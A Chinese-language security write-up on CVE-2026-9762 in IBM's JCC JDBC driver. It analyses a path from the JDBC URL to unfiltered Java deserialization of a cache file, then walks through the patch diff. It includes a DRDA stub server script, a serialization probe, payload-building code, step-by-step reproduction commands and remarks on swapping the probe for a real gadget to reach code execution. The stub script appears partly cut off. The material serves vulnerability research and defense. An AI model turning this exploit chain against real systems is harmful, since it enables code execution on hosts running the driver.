34 KiB
CVE-2026-9762:IBM JCC getConnection 触发反序列化链分析
本文基于授权本地研究环境完成。验证器只使用 readObject 写 marker 文件来证明反序列化 sink 可达。
一、漏洞描述
1.1 漏洞概述
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2026-9762 |
| IBM 内部编号 | DT471454 |
| 影响组件 | IBM Data Server Driver for JDBC and SQLJ(JCC,Maven com.ibm.db2:jcc) |
| 漏洞类型 | Java 原生反序列化 → 代码执行(CWE-94) |
| CVSS 3.1 | 7.8 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 官方描述 | JDBC URL 受用户控制时可能导致远程代码执行 |
IBM 在 2026 年 7 月发布公告,描述为 IBM Db2 在 JDBC URL 受用户控制时可能导致远程代码执行。向量里最容易被误读的是 AV:L/PR:L:它表示攻击面是本地、低权限,而不是"任意远程数据库地址即可无条件打穿"。结合补丁 diff 与动态验证看,更准确的表述是:低权限攻击者在能够影响 JDBC URL、并能预置连接端本地缓存文件时,可以让 JCC 驱动在连接建立或连接错误恢复过程中读取 Java 原生序列化缓存,把 ObjectInputStream.readObject() 暴露成可达 sink。
根因一句话:12.1.4 的 JCC 驱动保留了服务器列表缓存、许可证缓存的 Java 原生序列化落盘/加载逻辑,其中服务器列表缓存可以通过 createLicenseCache=true 这条连接属性链影响到物理连接状态,最终在错误恢复路径里读取 jccServerListCache.bin。
1.2 影响版本
官方公告影响范围:
| 产品 | 影响版本 | 修复版本 |
|---|---|---|
| IBM Db2 Client 11.5 | 11.5.0 - 11.5.9 | Special Build #87098 or later for V11.5.9 |
| IBM Db2 Client 12.1 | 12.1.0 - 12.1.4 | 12.1.5 或 Special Build #87349 or later for V12.1.4 |
分析覆盖的驱动版本:
| JAR | JCC 内部版本 | 状态 |
|---|---|---|
| jcc-12.1.4.0.jar | 4.37.4 | 受影响,可触发 |
| jcc-12.1.5.0.jar | 4.38.7 | 已修复,不触发 |
需要盘点的分发渠道:Maven 依赖、应用服务器共享库、WEB-INF/lib、fat JAR、容器镜像层、Db2 产品内置副本。
二、漏洞利用条件
2.1 前置条件清单
这个漏洞不是"只要知道数据库地址就能打"。结合 CVSS 和动态验证,至少需要满足:
● 攻击者能影响 JDBC URL 或连接属性,注入 createLicenseCache=true(典型场景:应用允许用户提供连接串 —— SaaS 数据源配置、测试平台、ETL 工具);
● 攻击者能在连接端本地缓存目录预置或篡改 jccServerListCache.bin;
●目标 JVM classpath 上存在可用 Java 反序列化 gadget;
● 触发时需要让连接过程或置位后的连接 flow 进入通信错误恢复(LUW 目标为 getConnection 返回后的首次 flow;非 LUW 家族目标为 getConnection 内部的 license flow,见 3.4);
●首次可触发窗口中服务器列表内存缓存尚未初始化。
2.2 关键放宽:未配置 outputDirectory 时回退 java.io.tmpdir
第二条前提里的"本地缓存目录",存在一个把攻击面大幅放宽的回退行为。
仅看反编译源码会得出错误结论:目标没有配置 db2.jcc.outputDirectory 时 ao.dL 为 null,com.ibm.db2.jcc.am.k9#a(String, boolean) 在 if (var3_3 == null) return 处提前返回,sink 天然不可达。CFR 输出的 com.ibm.db2.jcc.am.ao 类也会强化这个误判 —— 全文里 dL 只有一处赋值:
// com.ibm.db2.jcc.am.ao <clinit>(CFR 反编译输出)
dL = DB2BaseDataSource.parseString(
GlobalProperties.getJccGlobalProperty(dJ, false), null);
但这段源码不可信。对 ao.class 做字节码反汇编,在私有静态初始化方法 com.ibm.db2.jcc.am.ao#n() 的末尾,可以看到一段被 CFR 丢弃的回退逻辑(字节码偏移 180–191):
// javap -p -c com.ibm.db2.jcc.am.ao#n()(偏移 180–191)
180: getstatic #762 // Field dL:Ljava/lang/String;
183: ifnonnull 201
186: ldc #36 // String java.io.tmpdir
188: invokestatic #707 // GlobalProperties.c:(Ljava/lang/String;)Ljava/lang/String;
191: putstatic #762 // Field dL:Ljava/lang/String;
还原成 Java 就是:
// com.ibm.db2.jcc.am.ao#n() 尾部
if (dL == null) {
dL = System.getProperty("java.io.tmpdir");
}
也就是说,未配置任何输出目录时,驱动把缓存目录回退到 JVM 系统临时目录。这带来两个层面的结论:
● 方法论层面:对混淆闭源库做可达性分析时,"反编译源码里没有"不等于"字节码里没有"。这段回退在 CFR 输出中完全不可见,只有 javap 层面才能确认,否则整条 sink 路径会被误判为默认不可达。
● 攻击面层面:回退把"需要在专用 outputDirectory 目录有写权限"的前提,放宽为"需要对系统临时目录有写权限"。Linux/macOS 上 /tmp 通常对所有本地用户开放写入,共享主机、CI runner、容器内任意低权限用户基本天然满足 —— 与官方 AV:L/PR:L 评级精确吻合。
动态验证(12.1.4)确认回退真实生效:完全不设置任何全局属性,将探针放入 java.io.tmpdir,纯 DriverManager.getConnection() 连接后 —— ao.dL 反射结果为 tmpdir 路径、marker 出现、<tmpdir>/serverlist.lock 被创建,且 ao.dX 的实际类型就是探针类本身。
边界同样经过验证:在 JDBC URL 中注入 outputDirectory=/xxx 无效,ao.dL 仍解析为 tmpdir —— 该配置项不是 URL 属性,攻击者无法借此任意指定目录;但 tmpdir 回退本身已经足够。同一条件下 12.1.5 的 ao.dL 恒为 null,回退逻辑随整个磁盘缓存设施一并删除。
因此风险评估的基线应当是"能在 /tmp 写文件即满足文件预置前提",而不是"没配置 outputDirectory 就安全"。
三、漏洞分析
JCC 是闭源且经过混淆的驱动(Maven Central 上的 *-sources.jar 只是 IBM 源码占位文件,不含真实源码),因此以下分析基于正式 JAR 的字节码反汇编与 CFR 反编译交叉确认,关键结论均经动态验证。文中所有代码引用统一按 完整类名#方法名 格式定位,混淆名(如 am.k9、t4.b)保持原始形态,读者用自己的反编译工具按类名检索即可对照。
3.1 Source:JDBC URL 到连接状态
12.1.4 中,JDBC URL 的分号属性会被 com.ibm.db2.jcc.DB2Driver#tokenizeURLProperties() 拆出来并写入 Properties,随后 com.ibm.db2.jcc.DB2Driver#getDataSource() 对 createLicenseCache 做了特殊处理:
// com.ibm.db2.jcc.DB2Driver#getDataSource()(12.1.4,CFR 反编译)
if (properties.containsKey("createLicenseCache")) {
dB2SimpleDataSource.setCreateLicenseCache(
Boolean.valueOf(properties.getProperty("createLicenseCache")));
}
这里就是 URL source 进入驱动对象的入口。典型连接串(即验证器 ConnectionVerifier#main 的调用形式):
String url = "jdbc:db2://127.0.0.1:50000/TESTDB:createLicenseCache=true;";
DriverManager.getConnection(url, "db2user", "db2pass");
com.ibm.db2.jcc.DB2BaseDataSource 上存在公开 setter/getter 和一个全局开关合并逻辑:
// com.ibm.db2.jcc.DB2BaseDataSource#isCreateLicenseCache() / #setCreateLicenseCache(boolean)
public boolean isCreateLicenseCache() {
return this.createLicenseCache || ao.dM; // ao.dM 来自 db2.jcc.createLicenseCache 全局属性
}
public void setCreateLicenseCache(boolean bl2) {
this.createLicenseCache = bl2;
}
物理连接建立后,com.ibm.db2.jcc.am.Connection#initPostConnectionProperties() 把 DataSource 上的值复制到连接对象:
// com.ibm.db2.jcc.am.Connection#initPostConnectionProperties()
if (this.dataSource_ != null) {
this.createLicenseCache_ = this.dataSource_.isCreateLicenseCache();
}
Type 4 连接类 com.ibm.db2.jcc.t4.b 再通过一个混淆方法暴露该状态:
// com.ibm.db2.jcc.t4.b#ai()
public boolean ai() {
return this.createLicenseCache_;
}
source 链路总结:
JDBC URL
-> com.ibm.db2.jcc.DB2Driver#tokenizeURLProperties()
-> com.ibm.db2.jcc.DB2Driver#getDataSource()
-> com.ibm.db2.jcc.DB2BaseDataSource#setCreateLicenseCache(true)
-> com.ibm.db2.jcc.am.Connection#initPostConnectionProperties()
-> Connection.createLicenseCache_ 字段
-> com.ibm.db2.jcc.t4.b#ai() == true
这一步本身还没有触发反序列化,它只是打开了后面"是否允许读本地服务器列表缓存"的门。
3.2 Sink:jccServerListCache.bin 反序列化
真正的 sink 在旧版 com.ibm.db2.jcc.am.k9#a(String, boolean):
// com.ibm.db2.jcc.am.k9#a(String, boolean)
if (var0.equals("jccServerListCache.bin")) {
ao.r(); // 初始化 outputDirectory 下的缓存文件与锁文件路径
var3_3 = ao.d1; // serverlist.lock
var4_4 = ao.d0; // jccServerListCache.bin
var5_5 = false;
} else if (var0.equals("connlicj.bin")) {
ao.q();
var3_3 = ao.dT;
var4_4 = ao.dS;
}
var8_8 = ao.a(var4_4);
var7_7 = new ObjectInputStream(var8_8);
var2_2[0] = var5_5 != false
? (LicenseCache)var7_7.readObject()
: (ServerListCache)var7_7.readObject();
两个关键问题:
● readObject() 没有 ObjectInputFilter、类白名单、签名校验或自定义 resolveClass 限制;
● 强制转换发生在 readObject() 之后,不能作为安全边界 —— Java 原生反序列化会先解析对象图、加载类、执行 readObject/readResolve 等回调,然后才进行最终类型转换。即使最后 cast 到 ServerListCache 失败,攻击者控制的 gadget 回调也可能已经执行。
服务器列表缓存还有 read-before-write 逻辑:旧版 com.ibm.db2.jcc.t4.ServerListCache#updateEntryWithLatestServerList(String, String[], int[], long, boolean) 在条目新增或变更且 bl2 == true 时调用 #writeServerListCacheToFile(),而写文件前又会先调用 com.ibm.db2.jcc.am.k9#a("jccServerListCache.bin", false) 读旧缓存。所以危险点不是单一文件读,而是一整套"内存缓存 + 本地序列化缓存 + 锁文件"的历史功能。
另外,connlicj.bin(LicenseCache)路径的 com.ibm.db2.jcc.am.LicenseCache#writeLicenseCacheToFile() 在 12.1.4 中已经没有任何调用者,属于死代码;活跃 sink 只有 jccServerListCache.bin 的读写路径。
3.3 可达路径辨析:为什么不是 SRVLST 解析路径
最初看代码时,很容易把 com.ibm.db2.jcc.t4.y#E(b) 与 #F(b) 当成主触发点,因为这两个私有方法在解析 SRVLST 时也会调用:
// com.ibm.db2.jcc.t4.y#E(b)(SRVLST 解析路径,节选)
if (b10.ai()) {
Object[] objectArray = k9.a("jccServerListCache.bin", true);
ao.dX = (ServerListCache)objectArray[0];
}
但动态验证后发现,SRVLST 解析发生在握手阶段,而 createLicenseCache_ 是连接完成后才由 initPostConnectionProperties() 置位的。因此在这条路径上,ai() 往往还是 false,不能稳定解释 getConnection 内部触发。
真实可达链位于通信错误恢复路径。旧版 com.ibm.db2.jcc.t4.b#a(c6)(包私有方法 a,即 loadServerListCache)中,当全局服务器列表缓存为空且 ai() 为 true 时,会读取磁盘缓存:
// com.ibm.db2.jcc.t4.b#a(c6) —— loadServerListCache
if (com.ibm.db2.jcc.am.ao.dX == null) {
synchronized (com.ibm.db2.jcc.am.ao.d2) {
if (com.ibm.db2.jcc.am.ao.dX == null) {
if (this.ai()) {
object = k9.a("jccServerListCache.bin", true);
com.ibm.db2.jcc.am.ao.dX = (ServerListCache)object[0];
}
if (com.ibm.db2.jcc.am.ao.dX == null) {
com.ibm.db2.jcc.am.ao.dX = new ServerListCache();
}
}
}
}
这段逻辑的调用方是通信错误恢复器 com.ibm.db2.jcc.t4.r#a(Exception, aj),其门禁条件为:非 clientAffinities/SysplexWLB/CC 模式、PRDID 非 DSN 前缀、dataSource_ 非 null、!dataSource_.firstConnectionEstablished。
其中 firstConnectionEstablished 只在 com.ibm.db2.jcc.t4.b#rdbAccessed -> #updateAlternateDataSource()(alternateServerNameIP_ != null 时)被置位 —— 这给了服务端第一个可操纵点:ACCRDBRM 不携带 SRVLST、URL 不配 clientRerouteAlternateServerName,即可让 alternateServerNameIP_ == null,从而保持 firstConnectionEstablished == false,并让 ao.dX 不被握手期提前初始化。
3.4 getConnection 内触发链的构造
剩下的时序问题:置位(createLicenseCache_ = true)发生在 com.ibm.db2.jcc.am.Connection#completeConnect(boolean) 第 222 步 #initPostConnectionProperties(),而此后是否还有网络 flow 决定了通信错误能否发生在"已置位"的连接上。这取决于 PRDID 决定的 serverType:
// com.ibm.db2.jcc.am.Connection#completeConnect(boolean) 内部调用顺序(javap 偏移):
85 setSpecialRegisters() 网络 flow
153 setGlobalSessionVariables() 网络 flow
211 piggypackSetClientInfo...() 仅入队
222 initPostConnectionProperties() createLicenseCache_ = true ← 置位
383 checkForLicenseRestrictions() 仅 serverType 1/2/3 才有网络 flow
● LUW(PRDID 前缀 SQL,serverType 4):第 383 步无网络 flow,置位后 getConnection 直接返回 —— 通信错误只能发生在返回后的首次 flow(任意 SQL),不能在 getConnection 内触发;
● 非 LUW 家族(PRDID 前缀 DSN/ARI/QSQ,serverType 1/2/3):第 383 步的 license 检查(#checkForLicenseRestrictions() -> #isLicenseValidatedWithServerLicenseProc() -> #callLicenseProcStaticV9())会 flow CALL SYSIBM.DB2CON_LIC —— 这提供了"置位之后"的网络交互,使整条触发链收敛在 getConnection 内部。DSN 前缀会被恢复器排除,因此验证器选用 QSQ12010(serverType 3,版本 ≥ 5.4.0 满足 license proc 条件)。
serverType 判定来自 com.ibm.db2.jcc.am.ProductLevel#getServerType(String)(取 PRDID 前 3 字符):DSN=1、ARI=2、QSQ=3、SQL=4、CSS=5、IFX=6。
3.5 触发链总览与实测调用栈
JDBC URL: createLicenseCache=true
-> com.ibm.db2.jcc.DB2Driver#getDataSource()
-> DataSource.createLicenseCache = true
-> com.ibm.db2.jcc.am.Connection#completeConnect(boolean)
-> #initPostConnectionProperties()
-> Connection.createLicenseCache_ = true
-> #checkForLicenseRestrictions() (serverType 3)
-> #isLicenseValidatedWithServerLicenseProc()
-> #callLicenseProcStaticV9() => CALL SYSIBM.DB2CON_LIC
-> DRDA stub 在 license flow 断开 TCP
-> com.ibm.db2.jcc.t4.a 通信错误处理
-> com.ibm.db2.jcc.t4.r#a(Exception, aj) 连接恢复
-> com.ibm.db2.jcc.t4.b#a(c6) loadServerListCache
-> ao.dX == null
-> com.ibm.db2.jcc.t4.b#ai() == true
-> com.ibm.db2.jcc.am.k9#a("jccServerListCache.bin", true)
-> java.io.ObjectInputStream#readObject()
marker 文件中记录的实测调用栈也落在这条链上:
ConnectionVerifier#main
com.ibm.db2.jcc.am.CallableStatement#b <- CALL SYSIBM.DB2CON_LIC(连接内部)
... license proc reply 读取 socket reset
-> com.ibm.db2.jcc.t4.a#a <- 通信错误处理
-> com.ibm.db2.jcc.t4.r#a(Exception, aj) <- 连接恢复
-> com.ibm.db2.jcc.t4.b#a(c6) <- loadServerListCache
-> com.ibm.db2.jcc.am.k9#a(String, boolean)
-> java.io.ObjectInputStream#readObject <- SINK
这也是为什么本文标题强调 getConnection:验证端没有执行 SQL,也没有调用连接管理 API,触发发生在连接建立流程内部。
四、漏洞利用
4.1 验证设计原则
验证器的设计目标比较克制:只证明 readObject() 可达,不执行系统命令。VerificationPayload 继承旧版 t4.ServerListCache,在 readObject 回调里写入 marker 和完整调用栈,用来确认真实 sink 入口。它不依赖任何第三方库,利用的是 Java 序列化的原生回调机制 —— 这与真实 gadget 链(CC/CB/JDK 原生链等)挂在同一执行原语上,因此"sink 可达 + 回调执行"的结论可以直接迁移。
验证工程结构:
cve-2026-9762-verifier/
├── java/com/ibm/db2/jcc/t4/VerificationPayload.java # 无害探针(readObject 只写 marker)
├── java/PayloadBuilder.java # 生成 jccServerListCache.bin 探针文件
├── java/ConnectionVerifier.java # 连接端,仅 getConnection
└── server/verifier_server.py # DRDA stub(kill 模式)
4.2 恶意 DRDA 服务端脚本
verifier_server.py 是一个最小 DRDA 协议 stub,核心做三件事:完成握手、按 serverType 3 回包、在 license flow 断开 TCP。完整脚本如下(可直接保存为 verifier_server.py 运行,核心触发逻辑处已加注释):
#!/usr/bin/env python3
# MGRLVLLS(0x1404):真实 Db2 的管理级别列表。6 个 [cp:2][level:2]。
MGRLVLLS = bytes.fromhex("1403000a2407000a1c080000240f00081440000a14740008")
def parse_params(payload: bytes):
"""把 payload 拆成 [(codepoint, data)] 列表。"""
out = []
i = 0
while i + 4 <= len(payload):
ln = struct.unpack(">H", payload[i:i+2])[0]
if ln < 4:
break
cp = struct.unpack(">H", payload[i+2:i+4])[0]
data = payload[i+4:i+ln]
out.append((cp, data))
i += ln
return out
def excsatrd_body() -> bytes:
"""EXCSATRD (0x1443): 顺序 EXTNAM -> MGRLVLLS -> SRVCLSNM -> SRVNAM -> SRVRLSLV。"""
body = b""
body += param(0x115E, ebcdic(SERVER_EXTNAM)) # EXTNAM
body += param(0x1404, MGRLVLLS) # MGRLVLLS
body += param(0x1147, ebcdic(SERVER_SRVCLSNM)) # SRVCLSNM
body += param(0x116D, ebcdic(SERVER_SRVNAM)) # SRVNAM
body += param(0x115A, ebcdic(SERVER_SRVRLSLV)) # SRVRLSLV
return body
def accsecrd_downgrade_body() -> bytes:
"""ACCSECRD: 拒绝 EUSRIDPWD(9),降级到明文。SECMEC=[3,5] + SECCHKCD=1。"""
return param(0x11A2, b"\x00\x03\x00\x05") + param(0x11A4, b"\x01")
def accsecrd_plain_body(sectkn: bytes = b"") -> bytes:
"""ACCSECRD: 接受 SECMEC=3(明文),回显 SECTKN(若有)。"""
body = param(0x11A2, b"\x00\x03")
if sectkn:
body += param(0x11DC, sectkn)
return body
def secchkrm_body() -> bytes:
"""SECCHKRM (0x1219): SVRCOD=0(成功) + SECCHKCD=0(OK)。"""
return param(0x1149, b"\x00\x00") + param(0x11A4, b"\x00")
# 每次连接 alternate 端口递增,让第二次(跨组重连)的 SRVLST 与首次不同 → 触发 hasEntryChanged → writeServerListCacheToFile
_alt_port = 50001
# 连接计数:killreset 模式下,第 2+ 个 TCP 连接在 EXCSAT 后立即断开,
# 用于在池化 reset_() 重新握手期间制造通信错误。
_conn_count = 0
def srvlst_body() -> bytes:
启动命令(四参数,kill 是第 4 个模式参数):
python3 -u server/verifier_server.py 50000 /tmp "" kill
4.3 反序列化探针与生成脚本
com.ibm.db2.jcc.t4.VerificationPayload —— 与 JCC 同包的无害探针(核心是 #readObject(java.io.ObjectInputStream) 回调):
package com.ibm.db2.jcc.t4;
/**
* 无害反序列化探针:继承旧版 t4.ServerListCache 使驱动侧 cast 通过;
* readObject 回调只写 marker(含完整调用栈),不执行命令。
*/
public final class VerificationPayload extends ServerListCache {
private static final long serialVersionUID = 1L;
private final String markerPath;
public VerificationPayload(String markerPath) {
this.markerPath = markerPath;
}
private void readObject(java.io.ObjectInputStream input) throws Exception {
input.defaultReadObject();
StringBuilder report = new StringBuilder();
report.append("deserialized\n").append(System.currentTimeMillis()).append('\n');
// 记录触发反序列化的完整调用链,用于确认真实 sink 入口
for (StackTraceElement frame : Thread.currentThread().getStackTrace()) {
report.append(" at ").append(frame.toString()).append('\n');
}
java.nio.file.Files.write(
java.nio.file.Paths.get(markerPath),
report.toString().getBytes("UTF-8"));
}
}
PayloadBuilder —— 生成探针文件(#main):
import com.ibm.db2.jcc.t4.VerificationPayload;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public final class PayloadBuilder {
// 探针落点 = 驱动 com.ibm.db2.jcc.am.ao#r() 解析出的缓存目录 + 文件名。
// 验证 tmpdir 回退场景时,把该路径改到 System.getProperty("java.io.tmpdir") 下即可。
private static final Path PAYLOAD_FILE = Paths.get(
"/tmp/jccServerListCache.bin");
// marker 是触发判定的唯一标准:readObject 回调执行时写入
private static final Path MARKER_FILE = Paths.get(
"/tmp/deserialization-marker.txt");
private PayloadBuilder() {
}
public static void main(String[] args) throws Exception {
createParentIfMissing(PAYLOAD_FILE);
createParentIfMissing(MARKER_FILE);
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
// 标准 Java 序列化 —— 与驱动 com.ibm.db2.jcc.am.k9#a(String, boolean)
// 中无过滤的 ObjectInputStream 对应
try (ObjectOutputStream output = new ObjectOutputStream(bytes)) {
output.writeObject(new VerificationPayload(MARKER_FILE.toString()));
}
Files.write(PAYLOAD_FILE, bytes.toByteArray());
System.out.println("payload 已生成: " + PAYLOAD_FILE);
System.out.println("marker 路径: " + MARKER_FILE);
System.out.println("payload bytes=" + bytes.size());
}
private static void createParentIfMissing(Path file) throws IOException {
Path parent = file.toAbsolutePath().getParent();
if (parent != null && !Files.isDirectory(parent)) {
Files.createDirectories(parent);
}
}
}
注意:探针必须用 12.1.4 编译(12.1.5 已删除 t4.ServerListCache)。验证 tmpdir 回退场景时,把 PAYLOAD_FILE 指向 java.io.tmpdir 即可。
4.4 连接触发脚本
ConnectionVerifier —— 全部触发逻辑只有 #main 里的一行 getConnection:
import java.sql.Connection;
import java.sql.DriverManager;
public final class ConnectionVerifier {
public static void main(String[] args) throws Exception {
// outputDirectory 是全局属性(非 URL 属性);未配置时驱动回退 java.io.tmpdir
String cacheDirectory = args.length > 0 ? args[0] : "/tmp";
System.setProperty("db2.jcc.outputDirectory", cacheDirectory);
// URL 只带 createLicenseCache=true:
// 不配 clientRerouteAlternateServerName —— 迫使 firstConnectionEstablished
// 不被置位、ao.dX 保持 null,错误恢复时才会走磁盘缓存分支
String payload = "jdbc:db2://127.0.0.1:50000/TESTDB:"
+ "createLicenseCache=true;";
try {
// 不执行 SQL、不调用任何连接管理 API。
// 触发发生在 getConnection 内部:
// completeConnect 第 222 步置位 -> 第 383 步 license CALL flow
// -> 服务端断开 -> 通信错误恢复 r.a -> loadServerListCache
// -> com.ibm.db2.jcc.am.k9#a("jccServerListCache.bin", true) -> readObject
Connection conn = DriverManager.getConnection(payload, "db2user", "db2pass");
System.out.println("getConnection succeeded (no further calls made)");
} catch (Exception expected) {
// license 异常是预期现象(12.1.5 也抛同样的异常),
// 唯一判定标准是 marker 文件是否出现
System.out.println("getConnection ended: " + expected);
}
}
}
4.5 复现步骤
步骤一:编译(一次性,探针必须用 12.1.4 编译,12.1.5 已删除 t4.ServerListCache)
javac -source 8 -target 8 -d cve-2026-9762-verifier/target/classes \
-cp jcc-12.1.4.0.jar \
cve-2026-9762-verifier/java/com/ibm/db2/jcc/t4/VerificationPayload.java \
cve-2026-9762-verifier/java/PayloadBuilder.java \
cve-2026-9762-verifier/java/ConnectionVerifier.java
步骤二:生成探针
java -cp cve-2026-9762-verifier/target/classes:jcc-12.1.4.0.jar PayloadBuilder
步骤三:启动 DRDA stub(kill 模式,保持终端不关)
每轮客户端运行前需清理旧 marker 并重启服务端(kill 模式的连接计数在服务端进程内,不重启会把下一轮握手误断):
rm -f /tmp/deserialization-marker.txt \
/tmp/serverlist.lock
python3 -u cve-2026-9762-verifier/server/verifier_server.py \
50000 /tmp "" kill
步骤四:运行连接端(另开一个终端)
java -cp cve-2026-9762-verifier/target/classes:jcc-12.1.4.0.jar \
ConnectionVerifier /tmp
连接端会抛出 license 异常(SqlSyntaxErrorException,ERRORCODE=-4230)—— 这是预期现象,不是判定标准。
步骤五:查看结果(唯一判定标准)
head -20 /tmp/deserialization-marker.txt
出现 deserialized + 时间戳 + k9.a -> b.a -> r.a -> ... -> readObject 调用栈即触发成功,同时缓存目录下出现 serverlist.lock。
4.6 从 sink 可达到 RCE 的距离
把验证器中的无害探针替换为任意反序列化 gadget(要求目标 classpath 存在可用链),即从"sink 可达"升级为"代码执行"。执行原语完全相同:真实 gadget 链同样挂在反序列化回调(readObject/readResolve/hashCode/toString…)上,探针回调能跑意味着这些链的触发点同样会被执行。驱动在 readObject() 返回后才做 (ServerListCache) 强转,即使链导致 ClassCastException,回调也早已执行完毕。DRDA 网络响应本身不会把 payload 写到受害端文件系统,.bin 必须经由本地文件写入能力预置 —— 这正是 2.2 节 tmpdir 回退的意义所在。
五、漏洞修复
5.1 修复方案
首选方案是升级到 com.ibm.db2:jcc:12.1.5.0 或 IBM 后续安全维护版本:
<dependency>
<groupId>com.ibm.db2</groupId>
<artifactId>jcc</artifactId>
<version>12.1.5.0</version>
</dependency>
必须停留在 12.1.4 时,应使用 IBM V12.1.4 Special Build #87349 或更高版本。官方公告明确标记无 workaround,因此不建议只靠删除 URL 中的 createLicenseCache 作为完整修复 —— 同名反序列化工具函数还服务于服务器列表缓存的全局开关路径。
5.2 Patch Diff:12.1.5 删除了什么
12.1.5 的修复不是在 readObject() 前面加一个简单判断,而是把旧磁盘缓存能力从 source 到 sink 整体移除:
| 模块 | 12.1.4 行为 | 12.1.5 行为 |
|---|---|---|
| DB2Driver | 识别 URL 属性 createLicenseCache 并调用 setter | 删除该特殊处理 |
| DB2BaseDataSource | 暴露 createLicenseCache 字段、getter、setter | 删除公开 API 和状态字段 |
| am.Connection | 保存 createLicenseCache_ 并从 DataSource 复制 | 删除连接状态 |
| t4.b | ai() 返回 createLicenseCache_,错误恢复时按该值读磁盘缓存 | 不再通过该开关读本地 .bin |
| t4.ServerListCache | 更新缓存时可按布尔参数写回磁盘 | 只维护内存 HashMap |
| 旧 am.k9 / 新 am.la | 处理 jccServerListCache.bin、connlicj.bin,包含 ObjectInputStream.readObject() | 缓存文件读写与反序列化逻辑被删除 |
| am.ao | 初始化缓存路径、锁文件、createLicenseCache 全局属性、tmpdir 回退 | 旧磁盘缓存设施被移除(ao.dL 恒为 null) |
字节码层复核:12.1.5 全 am+t4 包中引用 ObjectInputStream 的类仅剩 LOB 数据流相关的两个类,与缓存无关。
12.1.5 中,SRVLST 解析路径(com.ibm.db2.jcc.t4.y,内存缓存字段由 dX 更名为 dY)仍会维护内存缓存,但已经变成:
// 12.1.5 com.ibm.db2.jcc.t4.y(SRVLST 解析路径)
if (ao.dY == null) {
synchronized (ao.dZ) {
if (ao.dY == null) {
ao.dY = new ServerListCache();
}
}
}
ao.dY.updateEntryWithLatestServerList(...);
新版 com.ibm.db2.jcc.t4.ServerListCache#updateEntryWithLatestServerList(String, String[], int[], long) 也不再接收"是否持久化"的布尔参数:
// 12.1.5 com.ibm.db2.jcc.t4.ServerListCache#updateEntryWithLatestServerList(String, String[], int[], long)
public synchronized void updateEntryWithLatestServerList(
String string, String[] stringArray, int[] nArray, long l2) {
ServerListEntry serverListEntry = this.getEntry(string);
if (serverListEntry == null) {
this.addNewServerListEntry(string, stringArray, nArray, l2);
} else {
boolean bl2 = this.hasEntryChanged(serverListEntry, stringArray, nArray);
if (bl2) {
serverListEntry.updateServer(stringArray);
serverListEntry.updatePortNumber(nArray);
serverListEntry.updateLastUpdatedTime(l2);
}
}
}
这说明 IBM 修的是能力边界,而不是某个局部 if 条件。
5.3 修复设计:为什么整体删除
第一,问题的危险性来自 Java 原生反序列化。给 ObjectInputStream 做黑名单或弱过滤很脆,依赖应用 classpath、JDK 版本、第三方库和未来 gadget 变化。对于 JDBC 驱动这种会被大量服务端应用加载的基础库,保留一个可由配置触达的本地反序列化入口,安全收益明显小于兼容收益。
第二,单纯删除 URL 属性不够。旧版 com.ibm.db2.jcc.DB2BaseDataSource#isCreateLicenseCache() 同时合并了实例字段和全局 ao.dM,后者来自 db2.jcc.createLicenseCache 全局配置。即使不从 JDBC URL 读取,只要其他路径还能打开开关,磁盘缓存读取能力仍可能存在。
第三,只修 ServerListCache 也不够。旧工具函数 com.ibm.db2.jcc.am.k9#a(String, boolean) 同时服务 jccServerListCache.bin 和 connlicj.bin,而且缓存路径、锁文件、读写工具集中在 am.ao/am.k9 一侧,保留这些工具函数等于保留了未来误调用的可能。
第四,磁盘服务器列表缓存本质上是性能或可用性优化,不是完成数据库连接的必需能力。12.1.5 保留了内存级服务器列表缓存,连接功能不受影响。
修复链按层次展开:
删除 URL 特殊属性处理
-> 删除 DataSource 公开开关
-> 删除 Connection 传播字段
-> 删除 t4.b.ai() 依赖的危险状态
-> 删除本地 .bin 缓存读写
-> 删除 java.io.tmpdir 回退
-> 删除 ObjectInputStream.readObject() 缓存入口
-> ServerListCache 仅保留内存缓存
5.4 为什么能阻止 getConnection 触发
12.1.5 并不是阻止 getConnection() 执行,也不是让连接错误恢复逻辑消失。真正变化是:getConnection() 内部即使仍发生 license flow、通信错误、恢复逻辑,也找不到通往本地序列化缓存的路。
旧版触发依赖三个条件同时成立:
ao.dX == null
com.ibm.db2.jcc.t4.b#ai() == true
com.ibm.db2.jcc.am.k9#a("jccServerListCache.bin", true) 存在
12.1.5 对这三个条件逐层处理:
● createLicenseCache=true 仍可能作为普通 URL 字符串出现,但 DB2Driver 不再消费它;
● #setCreateLicenseCache()、#isCreateLicenseCache()(com.ibm.db2.jcc.DB2BaseDataSource)和 Connection.createLicenseCache_ 被删除,#ai() == true 这类状态不再成立;
● 错误恢复路径只初始化新的内存 ServerListCache,不再调用 com.ibm.db2.jcc.am.k9#a("jccServerListCache.bin", true);
● 新版工具类中找不到缓存文件名、ObjectInputStream 或 readObject 组合;
●旧缓存文件即使存在于 outputDirectory 或系统临时目录,也不会被连接流程打开。
因此阻断点不是单点,而是 source、状态传播、触发分支、sink 四层同时消失。getConnection 仍可能抛出同样的 license 或通信异常,但不会再伴随本地 .bin 反序列化 —— 这正是动态验证中两个版本"同样的异常、不同的 marker"的原因。
六、Reference
● IBM Security Bulletin: CVE-2026-9762https://www.ibm.com/support/pages/security-bulletin-ibm%C2%AE-data-server-driver-jdbc-and-sqlj-vulnerable-remote-code-execution-when-jdbc-url-under-user-control-cve-2026-9762
● IBM JCC Builds and APAR fixeshttps://www.ibm.com/support/pages/jcc-builds-and-apar-fixes
● IBM Db2 JDBC Driver Versions and Downloadshttps://www.ibm.com/support/pages/db2-jdbc-driver-versions-and-downloads
● IBM 12.1.5 JDBC/SQLJ Enhancementshttps://www.ibm.com/docs/en/db2/12.1.x?topic=enhancements-jdbc-sqlj-driver





